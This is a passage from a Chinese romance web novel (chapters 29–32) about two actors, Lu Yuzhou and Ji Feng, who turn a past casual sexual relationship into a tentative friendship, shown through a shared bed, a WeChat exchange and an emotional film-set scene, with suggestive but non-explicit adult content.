“哦,”季沨靠在沙发上,偏长的头发垂在肩头,“那你会偷偷给我做饭吗?” 陆屿洲搅着面条的手一顿。 今天这顿饭勉强还可以说是季沨收留自己的报酬。 但是以后……既然他跟季沨已经结束,应该也没有太多在一起心平气和吃饭的机会吧。 陆屿洲知道自己应该划清界限,但是想起季沨刚刚的话,忽然就一句重话也说不出口,只是轻声道:“如果下期恋综需要做饭的话,再做给你吃。” “好。”季沨笑起来,“说起来,我以前都不知道你会做饭。” “在国外的时候学的,不常做。” “但是你厨艺很好啊。” 季沨实在很会夸人,陆屿洲只能用数据解释;“那可能是因为做得多了?我上大学的时候在赌气,没有跟我爸妈要过生活费,为了省钱,只能自己做饭了。” “为什么赌气,”季沨问,“因为觉得他们不爱你?” 陆屿洲:“嗯。” 季沨轻轻笑了一声,不知道是觉得他这样幼稚的想法很可笑,还是想起了什么别的东西。 “所以我没有你想得那么不能吃苦,”陆屿洲说,“去中餐馆打过工,在马房里喂过马,我还送过外卖。” “送外卖,”季沨有点不能想象陆屿洲穿着外卖服骑着电动车样子,“怎么送?” 谁知陆屿洲突然端着那碗鸡蛋面走过来,手指在餐桌上轻轻地敲了三下:“季先生,您的外卖到了。” 季沨瞬间笑出了声。 “辛苦了先生,”他接过面,手指却碰到陆屿洲还未收回的指尖,似暧昧似轻佻,“我老公今晚不在家,你要不要……进来坐坐?” 陆屿洲瞳孔一缩,耳朵红得要滴血,不明白话题怎么就突然跑到了午夜禁忌档,试图用言语威胁:“季沨,如果你真的喜欢玩这种play的话,我也不是不能……” 不能什么? 不能奉陪? 陆屿洲又一次想起来。 他和季沨确实已经结束了。 不再是可以讨论床上的花样的关系,自然也用不着他配合。 陆屿洲顿时泄了气,将筷子分好了递给他,又拿旁边的碗盛了用多余的鸡蛋做的番茄蛋花汤:“你胃不舒服,先喝点汤吧。” 他本意是想把这个话题过去,可是季沨似乎偏不放过他:“怎么了,不开心了?” “我没有。” “嗯,”季沨点头,“但是陆老师,如果你能先把我的花瓶松开会更有说服力一点。” 陆屿洲情绪不稳的时候就喜欢手里握个东西装镇定,要么是杯子要么是沙发扶手。 不过现下这是季沨家,餐桌旁只有一个用来插花的瓶子,陶瓷瓶在陆屿洲手里颤颤巍巍,还好里面一朵花也没有,不然估计花瓣都要掉两片。 话音刚落,陆屿洲立刻撒开了爪子,为了掩饰尴尬,他清了清嗓子:“我是觉得……” 季沨抬起头,做出倾听的姿势。 “我是觉得,”陆屿洲缓缓道,“我们既然是以后不可能再继续以前的关系了,是不是还是应该保持距离比较好……” 他说话的时候没有看季沨,手指无意识地蜷缩起来,虽然不保持距离的那人明明是自己,是他自己非要跟着季沨进休息室,非要让助理骗季沨让他收留自己…… 现在却来要求别人,是不是有点过分? 可是他也没办法,他见到季沨就控制不住,往常的镇定自若好像全部失效了一样,好像变成被磁铁吸着的另一部分磁石,变成被听到铃铛声的小狗。 为什么学不会像季沨那样说断就断呢,为什么学不会像季沨那样一切如常呢? 对啊,陆屿洲越想越觉得委屈,为什么季沨就能说断就断呢,为什么季沨断了之后还能一切如常呢? 明明都夸过他身材好体力好,夸过他弹琴不错唱歌好听…… 怎么能说断就断呢? 对面的季沨眼睁睁看着陆屿洲说完这句话,自己垂下脑袋,不知道想到了什么,以至于季沨还没来得及反驳,他自己就已经快要哭出来了一样。 季沨幽幽地叹了口气,终于大发慈悲地决定赦免他:“陆屿洲,你见到我脑子里就只有上/床这两个字吗?” 陆屿洲唰地抬起了头。 但是他却没有立刻回答,陆屿洲不能不注意到季沨敞开的领口和今天看到的带着咬痕的腿根。 就算是当时喝醉了,他也知道那道痕迹属于他。 陆屿洲稍稍偏移了视线,有些心虚。 不过季沨似乎也没有在意他的答案:“一个人跟另一个人,除了炮/友,难道就没有别的关系了吗?” “你跟郝景也不上床,是怎么在一起喝酒的?” 季沨的话好像是凭空在陆屿洲耳边洒下一把炸雷。 让他翻来覆去酸涩难耐的问题似乎就被这么轻飘飘的两句话给解决了,陆屿洲太过震惊,以至于都忘记了——季沨怎么会知道他跟郝景是朋友? 对啊,陆屿洲想,他跟季沨难道就不能成为别的关系了吗? 这个世界上明明还有那么多错综复杂的牵绊。 同学、同事、朋友、兄弟,以及…… 想起那两个字,陆屿洲心脏猛地一颤。 季沨却在这个时候把碗一推站起了身:“陆老师,你住哪?” “那间是主卧,”季沨指了指,“我住那里。” “其余三层里你随便挑,找个自己喜欢的就行。” “哦对了,”季沨慢条斯理地擦擦嘴巴,“我这房子是这次开机才回来住的,只临时让人收拾了主卧,所以其他房间大概……半年没有住过人了。” “你应该不会介意吧?” 陆屿洲试图开门的手指顿住了。 他是宁愿多送三个小时的外卖都要保证自己住宿条件的那种人,半年没有收拾过的房间……陆屿洲怕一开门可能会有什么不明物体飞过来。 既然是朋友……那么住一间房……应该……也是……可以的吧…… 陆屿洲转过头,自己也觉得有点不好意思:“季沨……你主卧,有没有沙发?” “没有啊。” 陆屿洲眼眸一垂,想说要不然他还是真的去住酒店……就见季沨一把推开主卧的门:“不过我的床倒是挺大的。” 他微微一笑,大方道:“陆老师,你要睡吗?” 陆屿洲迅速跟着进了房间。 像是证明自己的清白,他还在季沨洗澡的时候铺好了被子。 一人一个被窝,季沨的床果然很大,这样铺完中间还能隔上一截,看起来界限分明。 “那个,”陆屿洲清了清嗓子,此地无银地解释,“刚刚没回答是因为走神了,我也不总是想着跟你……” “嗯。” 季沨点点头,示意自己知道了,他并没有很在意这件事,只是将房间里的灯调暗了点,便钻进了被窝。 等陆屿洲洗完澡的时候,季沨已经闭上眼睛准备睡觉了。 陆屿洲把灯调暗了一下,跟着躺进另一个被窝。 他和季沨第一次有这样躺在同一张床上却什么也不做的时候,陆屿洲翻了个身,向来稳定的作息居然没有立刻睡着。 “咳咳咳……”黑暗中传来几声闷咳,是季沨压着嗓子。 “怎么了?” 季沨皱起眉:“……有点冷。” “冷?” 陆屿洲看了眼空调温度,很正常。 不会是今天在水里着凉了吧? “我去给你拿点感冒药?” “不用,喝了明天拍戏容易犯困。” “打扰了你吗?抱歉。”也许是隔着被子,季沨的声音闷闷的,话音刚落,又轻轻咳了两声。 陆屿洲指尖握紧被角:“很冷吗?” “还好。” 季沨背对着陆屿洲,抬手把被子掖紧了点:“没事儿,你睡吧。” 季沨手指一动,被子里露出一点细碎的头发,他缩得很紧,过了一会儿,陆屿洲还能听见几声捂着手指露出的压抑闷咳。 陆屿洲垂下眼睛,睫毛扫出一片阴影,在心里反复重复——我们是朋友我们是朋友我们是朋友我们是朋友我们是朋友…… 如此五遍,随后抬起眼,开口道:“我身上好像暖和一点。” “季老师,”陆屿洲说,“要不我抱着你睡吧?” 第30章 第三十章 陆屿洲第二天醒来的时候, 季沨的脸颊正搁在他的肩头,睫毛坠落出一片阴影,一点偏长的头发垂在脖颈, 让他觉得有点痒。 陆屿洲小心翼翼伸出一只手来,碰了碰季沨的额头。 还好, 没有发烫。 他松了一口气,试图将手臂重新放回去, 季沨拍戏一天睡眠时间很少, 陆屿洲不想打扰他。 谁知道只是这么稍微一动, 季沨却感知到了。 一只手搭上陆屿洲的脖子,脑袋搁在他的肩头, 微微一偏, 嘴唇吐出的热气打在颈侧:“……陆屿洲。” “嗯?” 季沨的一条腿跟着动了动, 浴袍中滑出的雪白肌肤扫过陆屿洲的下/身:“……不要了。” 他的声音含混不清,打在颈侧的吐息却分明,陆屿洲的喉结一滚:“季沨?” “嗯……” 季沨应了一声,早晨还未分开嗓子像是黏腻的红酒, 好像是深夜被折腾过的慵懒:“好吧。” 他的语气里带着一丝纵容的意味, 似乎以为这是某个和陆屿洲在床上交叠的夜晚,于是那条腿自然而然地勾在了陆屿洲的腰身:“……就一次。” 猩红的舌尖舔了舔,颈侧一片湿润。 陆屿洲瞬间定住不动了。 不知是过了多久, 季沨放在一旁的手机响起了铃声,压在自己身上的人才终于松开, 季沨翻个身关掉闹钟, 迷迷糊糊地睁开眼睛, 他完全没有刚才的记忆,只是抱怨一声:“好困。” “陆老师?”季沨揉揉眼, “你今天没有去跑步吗?” “嗯。” 陆屿洲只应了一声,声音沙哑。 “出门左转是绿化跑道,楼上第二间有个家用健身房。”季沨打了个哈欠,“……被窝好热。” 陆屿洲以为他是发现了什么,心头猛地一颤。 可季沨似乎完全不是他想的那个意思,转过身,漂亮的带着睡醒时的水汽的眼睛望着他:“昨晚谢谢你啦,陆老师。” “算起来,这应该是我们第一次躺在床上不做那种事吧,”季沨的语气诚恳,“跟我做朋友的感觉怎么样?” 被子覆盖住身体的异样,陆屿洲望着季沨讲话时开合的殷红嘴唇,一动不动。 “我觉得还挺好的,”季沨自顾自说,“好久没有睡过这么踏实的觉了。” 季沨说着绕过他从另一边下床,小腿扫过的陆屿洲的腰侧,肌肤相撞,陆屿洲条件反射性挺了下腰,随后瞬间意识到自己做到了什么,红色从脖颈蔓延到耳根,迅速拉紧了被子。 还好季沨并没有察觉:“我得早点去做妆造,你今天要去剧组吗陆老师?” “嗯……嗯?”陆屿洲压根没反应过来季沨说了什么。 “知道啦。” 季沨当做他已经答应:“不过开拍还早,你可以再睡一会儿。” 他说着,走到窗前打开窗户,打着哈欠伸了个懒腰:“今天的日出应该挺漂亮的,你如果去跑步的话,还能顺带欣赏一下。” 一点光透过窗棂照进来,衬得季沨那张脸像是晨曦里未消退的朦胧月光。 “这还是我们第一次一起这么早起床,没有咬痕,也没有腰酸。” 他偏过头,冲着陆屿洲弯了下眼睛,笑容皎洁:“早安,陆老师。” 陆屿洲的心头好像被月亮的陨石砸出一个深坑。 尽管身体还没平复,可是那一刻,看着季沨站在窗边的笑容,浴袍露出的一点修长脖颈,想起昨晚胸膛相贴的时刻——季沨的身上带着点点的沐浴乳的味道,躺在他的怀里,好像握着一块暖玉。 陆屿洲居然真的觉得……只是这样抱着,不做/爱,居然也挺好。 只是季沨打了个哈欠去洗漱,陆屿洲这才猛地掀开被子看了一眼,鬼鬼祟祟地下了床。 咬着牙刷的季沨被一通电话叫出来:“喂?莫莫?” “好的好的我知道了,我现在下去。” 季沨急匆匆吐掉口中的泡沫,抹了把脸就要出门,路过客厅的时候,烤面包机刚刚叮的一声。 陆屿洲拦住他:“还没吃早饭。” “来不及了。” “昨天就胃疼,今天不能不吃,”陆屿洲将昨晚定时好的粥倒进保温桶里,“给你装好,车上喝。” “可是车上我要……” 陆屿洲像是知道他要说什么,截住话头:“吃完再补觉。” 他将装好的保温桶递到季沨手里,像哄孩子一样,语气温柔:“我用小米炖的,养胃,给你加了点代糖,不用担心会胖。” 陆屿洲又给他拿了两片吐司:“路上慢点。” 他自己可能都没发觉,这番话很像是新婚妻子嘱咐出门的丈夫,季沨微微笑了下,拎着保温桶正要出门,不知缘何又退了两步:“陆老师?” “嗯?” 季沨回过头,晃晃手里的手机:“我能加一下你的好友吗?” 本来就是他自己删的,陆屿洲又没有动他,想要联系直接加回来就好了吧,陆屿洲想起这件事心头就有些发闷:“嗯。” “好的。” 可是季沨还偏偏走过来,像是两个刚刚认识的人一样重新扫了一下他的码:“想了想我们两个就是同事了,应该是要有一个联系方式的,你昨天也加了杨导他们的吧?” 季沨极力表明他们只是出于工作,陆屿洲捏紧手机边缘,没有告诉他自己给杨阶他们加的只是工作号。 “好了。” 微信跳出来上一次备注,季沨却把那个默认的“L”给删了。 这是他们决定做长期性关系时为了避嫌相互备注的。 “以后不是炮/友了,那应该就是新的关系了。” 陆屿洲看着季沨指尖敲击,在备注栏上打下“陆老师”三个字。 从一个字母变成了一个称呼,好像让人的心里也跟着踏实了一点。 “微信删除之后聊天记录好像会跟着清空。” 季沨举起手机,给他看空荡荡的页面,眉眼弯起:“不过既然我们的关系变了——” “那就当是重新开始,陆老师?” 陆屿洲心头一跳:“好。” “嗯,”季沨说,“那我走了。” “中午见,陆老师。” 季沨说完这话,陆屿洲才意识到自己早上答应了什么。 但是他作为监制,其实是不用每天待在剧组的,可是看着季沨的笑容,陆屿洲还是鬼使神差地点点头:“中午见。” 房门被关上,安静得只可以听到自己的心跳声。 陆屿洲站在原地,注视着季沨在院子里远去的身影,等到再也看不见,终于拿出手机。 季沨的页面已经被清空,陆屿洲的却还停留在原地。 他没有删除拉黑过季沨,也没有清除私人号消息的习惯,因此聊天记录看起来没有任何异常,还停留在一个多月前的那句—— 【谢谢。】 【你的耳钉也很漂亮,今晚可以带着做吗?】 是很有暗示性和撩拨的内容。 往上翻,则是酒店和邀约,他和季沨在一起半年,聊天记录不过寥寥。 一半是位置信息,另一半是问空闲时间,三分之四都带着一个“做”字。 这在以前其实是很正常的,陆屿洲却不知为何突然觉得隐隐不适。 眉眼低垂,点开季沨的头像,将那个大写的“F”删掉,改成“季老师”。 想了想,这和杨阶莫可他们似乎也没有什么区别,又删掉,改成“季沨”。 有点冷漠,陆屿洲靠在桌前,踌躇半天,终于想出办法,给备注后面加了个颜文字—— 季沨(★>U<★) 小星星很可爱,看着就令人心生欢喜。 陆屿洲满意了。 只是上面的消息还有些碍眼。 于是季沨坐在车上,手机突然叮咚一声。 陆屿洲给他发过来一串“……………………” 不多不少正好一行,像是一串手动的分隔符。 随后,便又是叮咚一声。 新关系的第一天,陆屿洲给他发了第一句话—— 陆老师:【餐桌上的花瓶是空的,昨天回来的时候看到路上有花店。】 【季沨,我可以给你买花吗?】 嗡! 也许是刚好在吃早饭,季沨回得很快。 季沨(★>U<★):【可以,不要百合,大飞燕和风信子为佳。】 季沨(★>U<★):【粥很好喝。】 【作为答谢,给你看刚拍的日出。】 季沨(★>U<★):【图片消息】 那是一张车窗外的日出,车子正要行到江边,大片绚烂的朝霞从粼粼波光中跃升,好像是太阳点燃了一江水。 可陆屿洲却只看到车窗上倒映的季沨的脸。 嗡! 季沨(★>U<★):【开始补觉了。】 【你也记得吃早饭啊,陆老师。】 30-40 第31章 第三十一章 陆屿洲吃完早饭, 又去给季沨收拾了一下房间。 他自己有洁癖,也将心比心地对待所有人,将自己盖过的被子和季沨的床单全给洗了一遍。 布置完花花草草, 想了想自己今天晚上应该不会再住在这里,毕竟连续两天酒店没有房间也确实让人觉得虚假。 于是拿出手机发消息:【床单和被子我帮你晒了一下, 在阳台,如果家政过来的话让她帮忙收一下。】 季沨没有立刻回, 想来也是剧组比较忙。 陆屿洲几乎是已经要出发了才收到消息, 季沨没有回复他上面的话, 大概只是知道了就算,反而发了另外一句—— 季沨(★>U<★):【听说中午的菜里有欧芹, 不想吃, 还不如陆老师的鸡蛋面。】 季沨(★>U<★):【对了, 陆老师是不是还没吃过剧组的盒饭,你什么时候过来,要不我帮你一起拿一份?】 【好。】 陆屿洲回复了一句,驱车前往剧组。 * 剧组里, 杨阶正在给季沨讲戏。 刚好季沨之前为了拍落水戏请了一个业内战损妆特别厉害的化妆师, 杨阶想着将殿前求药那场给一起拍了。 这场戏是季沨所饰演的隋晏母亲陈皇后生了重病,太医院的医生却因为令妃即将临盆没人过来,身为一国皇后, 本不该如此落魄,可谁都知道, 令妃不过是个幌子, 是上面那位想要借此要她的命。 走投无路之下, 隋晏只好以太子之位为筹码,跪在大殿前祈求那个从未喜欢过他的父皇能有一丝恻隐之心。 虽然只是个文戏, 但是情绪需要得足,像是怕季沨这样的演技拖后腿,杨阶还在喋喋不休地说道:“你的母亲快要去世你却走投无路,这个时候你的心中肯定有急,你从出生开始,你的父亲就对你不问不闻,这个时候你的心中肯定有怨,分明是身为太子,却过得还不如皇宫里任何一个侍卫御官,只能冒死才能为自己和母亲求得一线生机,这个时候你的心里有没有悲?” “想想你重病的母亲,即便知道自己时日无多,她也许还在宫中牵挂着你……” 季沨懒散笑着,估计是听烦了,笑意也清淡了许多,将他身边的许凌则一拉:“杨导,您别光盯着我一个人啊,对手卡了我也不得跟着卡,凌则昨天还说他有问题想要请教您,您给讲讲呗?” 许凌则没想到季沨还记得他昨天说过剧本不太懂的事,会在这个时候给他牵线,心中微动,季沨便后退一步:“那你们聊,我去熟悉一下走位。” 自己能力不足却还不好好学的学生简直是严师的眼中钉,杨阶憋了一肚子的气,打算等第一次卡的时候好好发作,跟许凌则讲完便站在监视器前:“那就这样,各就各位!” “第十二场第三幕,Action!” 季沨重重地跪在了地上,膝盖在长阶上砸出一声闷响:“四皇子隋晏,求见陛下!” 陆屿洲脚步一顿,拧起了眉。 从前如果受了一点小伤小痛便有人卖惨说他们这行辛苦,陆屿洲嘴上不说,心里却也都是不赞同的。 因为他自己也是这行,他们拿了比很多人多很多倍的工资,不过是吃了一点苦便抱怨,反过来要别人来心疼自己,没这个道理。 更别说国外的导演没内地那么惯着演员,真刀真枪都敢用在道具上,陆屿洲之前拍杂志的时候,曾经在一面冰湖上躺过一整个下午,感觉自己半个身子都要冻进冰层里,媒体说他是“冷峻、锐利的冰雪王子”。 其实他是脸都冻僵了做不了表情。 但即便是这样,陆屿洲也并未觉得自己有多辛苦。 但是他看着季沨的背影,想起昨天晚上刚刚上好的药,却不禁捏紧了手指。 陆屿洲眉头紧皱,旁边的杨阶却喜形于色。 季沨穿了件天青色竹纹长袍,身姿挺拔很有古装气质,而且听刚刚那句台词……这可比试戏的时候好太多了! “四皇子隋晏,求见陛下!” 殿门紧闭,回音消散在空荡的宫墙,季沨双手交叠,再次俯身下拜: “德行不佳,愚心不悛,自请废除太子之位,求陛下——” “救救我母亲!” 季沨的额头砸落在地面上,好像是夏日里的一场惊雷与暴雨,可除了淋湿自身,无人在意。 长日滴落,残阳划过他的眉心,如同刻骨的刀痕,那一刻,季沨好似已经不是永远肆意风流的大明星,而是被困在深宫中走投无路的年轻太子隋晏。 他额头发红,雪白单衣在风中显得萧索,挺直的脊背又一次狠狠地弯下去,声声啼血: “四皇子隋晏德行不佳,愚心不悛,自请废除太子之位,求陛下——救救我母亲!” “四皇子隋晏德行不佳,愚心不悛,自请废除太子之位,求陛下——救救我母亲!” “四皇子隋晏德行不佳,愚心不悛,自请废除太子之位,求陛下——救救我母亲!” “皇兄!”许凌则朝他跑过来,一把抱住他即将坠落的身体,“别这样……皇兄!” “回去吧,你回去吧。” “走开!”隋晏一把推开他,他的嘴唇已经干裂,脸色苍白,却依然一丝不苟地下拜,“四皇子隋晏……德行不佳……自请废黜……” “父皇不会管你的!” 隋清猛地将他扶起来,喝道:“你在殿前叩首,天下昭然!你用太子之位救母,其心赤诚!可若他真的就此同意!岂不是坐实了他无情无义抛妻弃子!” “他不会管的,兄长,”隋清抱着他,像抱着一块快要融化的冰,“我们先回去,我们先回去好不好,我会想办法的,我们会有办法的……” “我还能有什么办法……” 隋晏突然笑了起来,从嗓子里撕扯出生锈的味道,那张漂亮的脸凄艳又绝望:“我还能有什么办法……” 他望着隋清,望着他与自己身上的单衣天差地别的绫罗绸缎,望着他头上的玉冠,胸前的璎珞,腰上的蹀躞:“你五岁时入太学,众人簇拥,我却要站在墙角才能听得半分诗书。” “你十岁时去春猎,得猛虎一只,龙心大悦,赏黄金万两,我却要在御膳房低声下气才能为病中的母亲求得一碗鸽子汤。” “如今你十八岁,将冠礼,父皇请了整个国子监为你取字,可是我呢,整个宫里,有谁记得……” “今日是我二十岁的生辰。” 隋晏注视着隋清那副被吓呆了的面容,和在富贵乡里浸出的单纯和善良,突然大笑了起来:“天下哪有我这般可笑的太子呢?” 他笑着笑着就开始咳嗽,从嘴角咳出血沫来,咳得眼尾发红胸腔震动:“隋清,隋君璋,弟弟……你告诉我,我还能怎么办啊?” 一滴泪从他的眼角坠落,他的鬓发凌乱,唇角污脏,湿透的长发缠着在他的腰身,像是索命的水鬼。可唯有那滴泪,滚烫又脆弱,清冷又哀绝,仿佛要将他整个人分成两半,要么化作青烟,要么……化作厉鬼。 许凌则被这样的季沨惊呆了。 不只是他,连坐在监视器前的杨阶也惊呆了。 要是季沨在试戏那天有这样的演技,别说犹豫了,杨阶当场绑也把他绑来剧组。 可是只听过演技突然断崖式变差的,没听过演技突然飞跃式进阶的,难道宋骁的那个演技班真的那么有用? 杨阶手指颤抖,难以抑制心中的激动,这样的话,再凭着季沨这张脸,他几乎可以看到未来的收视率了! 那滴泪坠落到地板上,许凌则这才意识到,自己竟然因为这一幕的季沨失了神,忘记了接台词。 “卡!” “你怎么搞的!”好好的片段让他给毁了,杨阶当即大怒,“这种时候都能忘词!词都背不好还来演什么戏,你以为演戏也跟你们在台上一样什么都弄个提词器吗!” “对不起对不起对不起导演,”许凌则如梦初醒,“我……” “没事儿,”季沨站起身,只瞬间便恢复了之前笑意盈盈的模样,“刚好我也有个情绪没有处理好,杨导,再来一次吧。” 镜头又拍了两遍才过,这次许凌则总算没有掉链子,杨阶喊了卡,季沨起身时膝盖一软,旁边等着的莫可立刻上前扶住了他。 “季老师!季老师没事吧?” “快快快热水毛巾!” “季老师喝口水,化妆师呢,要不要补个妆?” 季沨一下戏,就有一群人乌泱泱地围上去,递水的递风扇的,还有拿着热毛巾就要替他擦脸的,季沨摆了摆手示意不用,他没有这种享受众人簇拥的毛病,只接过了旁边的水喝了一口。 季沨皱了下眉,嗓子早在刚刚一声声中变得嘶哑,喝水都像是有锡纸划嗓子。 试图过来的陆屿洲完全被拦在外围,他无法冲破众多工作人员的层层簇拥来到季沨身边,只能期待季沨能回头发觉他:“季……” “季老师!” 一道更加清澈明亮的声音插进来,是小跑过来的许凌则,相比于陆屿洲的踌躇不前,他像一道热情的闪电挤出人群:“刚刚真对不起,因为我连累你重拍。” “没关系。”季沨说,“刚开始拍戏NG很正常的,我之前重拍二十多次的都有,不要放在心上。” 季沨脸上带着笑,只是嗓音听起来沙哑闷重,陆屿洲皱起眉,希望这个不识相的小演员赶紧结束对话。 谁知道这人看着季沨穿着戏服的笑,眼中的目光居然更加热切了——季沨的笑容温柔恬静,和刚刚那种凄艳的模样丝毫不同,这两种情绪居然能同时出现一个人身上,而且他还是如此的……漂亮。 “那等会儿我能跟你再对一下明天的戏吗?” 季沨往台阶下走,许凌则目光直勾勾地盯着他的腰,亦步亦趋跟在身后,“还有季老师你刚刚有几个部分的情绪处理得好好啊,这种爆发戏要怎么递进,我想请教……” 季沨没说话,一边听着他絮叨一边下楼梯,余光一扫,原本走得稳稳的步伐突然踏空。 “季老师!” 许凌则眼疾手快要去拉他,却有一人比他更快—— 陆屿洲几乎是瞬间挤开人群闯了进来,长臂一展将季沨往后一带站稳身体,速度快到压根不像刚刚那个站在人群后犹豫的人。 “我没……” “别说话了。”陆屿洲根本没让他开口,从口袋里摸出一盒润喉糖来,“先吃一颗。” 将东西递给季沨,陆屿洲这才抬眸望向着旁边的许凌则,目光戒备又警惕:“嗓子这么哑,少说点话,等会儿给你点个汤喝。” 这话明显是对许凌则说的,语气中带着浓浓的责备意味。 “不好意思,季老师,”许凌则语气诚恳,望着季沨的目光却炽热,“我不知道你……” 同为男人,陆屿洲几乎只需要一眼就能看出许凌则刚刚在想着什么,目光不善地望了他一眼,话却是对季沨说的:“我先送你去休息室。” 许凌则刚想上前,却见陆屿洲一只手却牢牢地搭在季沨身后,挡住他的同时又护着季沨下台阶,像是格外护主的忠犬。 季沨跟着陆屿洲下楼梯,手中晃了晃润喉糖的盒子。 这个牌子和口味他并不陌生。 因为这本来就是陆屿洲给他用的。 季沨在床上放得开,陆屿洲有时候也玩得疯,有时候控制不住,第二天早上起来嗓子常常是哑的,季沨也确实没有品茶养生的闲情逸致。 于是为了他早起时不那么难受,陆屿洲一般都会备一管糖在口袋里,做到中场便喂他一颗,有几次还当成情.趣,故意将手指伸进去,压着季沨的舌尖让它融化。 以前陆屿洲口袋里放这个,还可以说是贴心,不过现在这都分开了…… 陆屿洲当时着急,显然也没意识到这个问题。 等二人来到休息室,季沨倒了一颗糖在手心,舌尖一卷,那颗糖便被含了进去。 润喉糖有些凉,季沨轻轻吸了口气,殷红的舌尖吐出来一点,半闭着眼睛靠在沙发上,他的头发因为刚刚的争执弄乱了许多,眼尾还带着些湿润的红。 这个场景和深夜时季沨被他压着吃这个糖时的画面诡异地重合,陆屿洲眼眸微深,却突然在这个时候想起来,自己现在还随身带着润喉糖意味着什么。 “那个,你不要误会,”陆屿洲试图解释,“我最近这几天也有点上火。” 季沨没说话,也许是压根没听见,只是眉头微蹙:“……腿疼。” 他的尾音很轻,带着些撒娇的意味,陆屿洲立刻道:“哪里,膝盖吗?” “嗯。” 陆屿洲想起季沨之前砸到地上那一声,脸色微沉,不自觉地抚了抚:“你本来就有伤,怎么不跟杨导说换一场?” “场地都租好了,总不好因为我一个人耽误进度,而且这点伤算什么,又不是腿断了。” 那为什么现在又要在陆屿洲面前喊疼? 季沨睁开眼睛,润喉糖已经完全融化掉了,嘶哑的嗓音变得清亮了一点:“不过陆老师对我来说是不一样的。” 他微微前倾,一缕长发从肩头滑落下来,笑容蛊惑:“在你面前,应该可以展示脆弱的,对吧?” 陆屿洲正在给季沨检查伤势,一抬头便看到季沨含笑的眼睛。 陆屿洲知道季沨说得或许不是那个意思,就像他心情不好也会找郝景喝酒一样。 但是…… 但是他望着郝景的脸只能骂人。 看见此刻季沨的笑却为何会心跳加速呢? 刚刚压下去的反应似乎更加剧烈,陆屿洲胸膛翻涌,几乎是有些狼狈地站起身:“你等我一会儿。” 陆屿洲借着拿药的由头起了身,却回来得很快,不知道从哪找来了两帖活血化瘀的膏药,随后将东西放在桌上,半跪在季沨面前,弯腰将季沨脚下的鞋给脱了下来。 季沨今天拍戏穿的是长袍,裙裾几乎盖住了脚踝,陆屿洲要想给他的膝盖贴膏药,只能抬手将袍子撩开一点。 但即便是这样,还是有大半垂落在地,陆屿洲半跪着的膝盖只好往下曲了曲,将季沨的腿架在自己的肩头,整个人几乎钻进了裳底,手指上翻,季沨配合地动了动,那条打底的用的白色长裤瞬间褪到了腿根,露出一点黑色内裤的边缘。 陆屿洲的喉结滚了滚,刚刚拼命压制的念头似乎滚滚而来,胸膛起伏,手指克制地按在季沨的膝盖上。 也许因为过分灼热的手掌让季沨有些不适,小腿微一瑟缩,便蹭过了陆屿洲的侧脸。 第32章 第三十二章 “沨哥!” 陆屿洲动作进行到一半, 休息室的门被猛地推开了。 “沨沨沨沨哥……” 莫可一开门,只看到一个身体在季沨的身下动作,瞳孔巨震, 整个人都跟着晃了一瞬,随后砰的一声关上门, 舌头打结:“你你你你你……潜潜潜潜……” 然后他就看到陆屿洲的头钻了出来。 “你潜规则了陆老师?!” 季沨连连点头:“嗯,我睡了他, 还让他给我贴膏药, 行了吧?” 陆屿洲则是压根没管旁边的莫可, 将膏药撕下的膜放在桌上:“十二个小时要换一次,你晚上再贴一个, 不要忘记。” 他这么说, 已经是打定了主意晚上不再跟着季沨回家。 且不说住在别人家中对陆屿洲来说始终是冒犯, 况且他对季沨……他们好容易换个关系重新好起来,陆屿洲不想因为自己的一些不恰当的欲念而毁掉。 “好。”季沨点点头,并没多说什么,“谢谢。” 原来只是贴个膏药, 他就说这俩人怎么可能一个晚上进展这么快, 莫可松了口气,拿着手里的东西走过来:“沨哥,午饭到了。” 陆屿洲看了一眼莫可手中的盒饭:“你吃这个?” “剧组不好点外卖, ”季沨说,“大家都吃这个, 两荤两素, 挺好的。” 季沨没有让助理跑几十公里给自己买个饭的毛病, 他小时候饿惯了,因此什么都能吃, 不仅自己吃,还给陆屿洲拿了一份:“你是不是还没吃过盒饭,尝一个?” 饭菜打开,陆屿洲先看见的就是季沨早上说过不喜欢的欧芹,这种饭菜当然不可能按照一个人的心意做,筷子在手中摩擦了一下,陆屿洲没有先吃,而是替季沨一个一个给挑了出来。 “下午还有戏吗?” “有一场,”于是季沨还真的就只吃旁边的牛肉,“不过这场不费什么劲,老臣斗法,我坐在旁边当个摆件就行了。” 漂亮花瓶是季沨的拿手戏,他的头发本来就长,不用像其他演员一样全用假发包,额前的一点碎发看起来柔软又漂亮,不用说话就足够吸睛。 “嗯,”陆屿洲放下心来,“明文等会儿过来,我让他给你带了份雪梨燕窝,润嗓子的。” 莫可讶异地听着二人的对话,不像是营业的CP,也不像是资方和演员,反倒更像是……已经在一起一段时间的情侣一样。 更何况,陆屿洲还在喋喋不休:“被子你别忘了提醒家政收,煮粥的材料我已经帮你泡在锅里,你回去之后按一下就行,不会了可以问我……” 不对,不是情侣,这简直像是出远门的妻子叮嘱家里的废物丈夫。 哪哪都很诡异。 “我今晚就不……” 陆屿洲的一个回去还没说出口,门口就响起了一声—— “季老师!” 这个元气十足的声音十分具有辨识度,季沨刚一应声,休息室的门就被砰的一声推开了,许凌则握着个保温杯跑过来:“对不起,我之前不知道你嗓子不舒服。” “我刚刚泡了一点花茶,这个方子治嗓子很有用的,你放心,这个杯子是我新买的,”他将杯子往前递了递,笑起来露出两颗虎牙,“我看网上说你的粉丝叫风滚草。” 许凌则指指杯身的贴纸,眼睛一眨,是刻意卖乖的样子:“我特意买的,跑了三条街呢。” 陆屿洲挑着欧芹的手一顿。 偏偏季沨好像还很吃这种,不管是初禾还是阮嘉还有现在的许凌则,他总是对这种奶奶的小男生很偏爱,一只手扶额,调笑的样子:“天哪,这个梗到底什么时候才能过去?” “哈哈哈哈你是说风滚草吗季老师? ”许凌则也跟着笑起来,“我觉得这个名字挺好听的,粉丝说这是因为季老师你的经常出其不意粉丝群体变来变去,所以叫风滚草,还挺有寓意的。” “那你搜的时候没有考古它最初是为什么叫这个吗?” 季沨笑着解释:“是我之前在团里遇到私生追车,那人以为我们顾忌形象不敢下车,一直车头别我。” “结果我把队友锁在车里自己下了车,当着镜头对他说了两个字——” “滚,草。” 陆屿洲讶异地抬起头,第一次听到当年的,二十岁的季沨。 “卧槽,你好酷啊季老师!” 许凌则一副崇拜的模样,却趁着这个机会来到季沨身边,季沨的长袍因为陆屿洲刚刚的动作拉下去了一点,露出一截雪白脚踝,许凌则眼眸微深:“不行,季老师太生疏了,我能跟莫可一样叫你沨哥吗?” “可以啊。” “好的沨哥,”他笑着,虎牙尖尖,“我以后就是一名风滚草了。” 